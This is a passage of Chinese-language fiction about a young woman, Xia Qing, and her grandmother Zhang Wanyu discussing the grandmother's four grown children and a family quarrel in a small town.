压根不信孙女会留下来,留在这个一眼就能望到头的小镇。 夏轻不在这个事情上多做辩解,来日方长,一步一步的走着看吧。 她把买菜时,舅舅姨妈们找她的事一股脑的全坦白了。 章万玉仔细听着,心里自有计较。 “目前暂时说通了大舅妈,应了四舅,晚点儿给三姨回电话,就小姨那边没动静。”夏轻说完,看了眼手机上的时间,起身去厨房关火。 章万玉轻飘飘的责难她:“你当着全家人的面让你小姨下不来台,她会理你才怪了。” 夏轻没觉得自己说错什么,直勾勾的看着发烫的高压锅,小声哼哼聊表不满。 章万玉接道:“我这四个孩子,都孝顺,又都不孝顺。” 做人哪儿能事事顺意,她都这把岁数了。 夏轻扔了手里的抹布,从厨房走出来,定在门口:“您别模棱两可的,给我句准话,我保您称心如意!”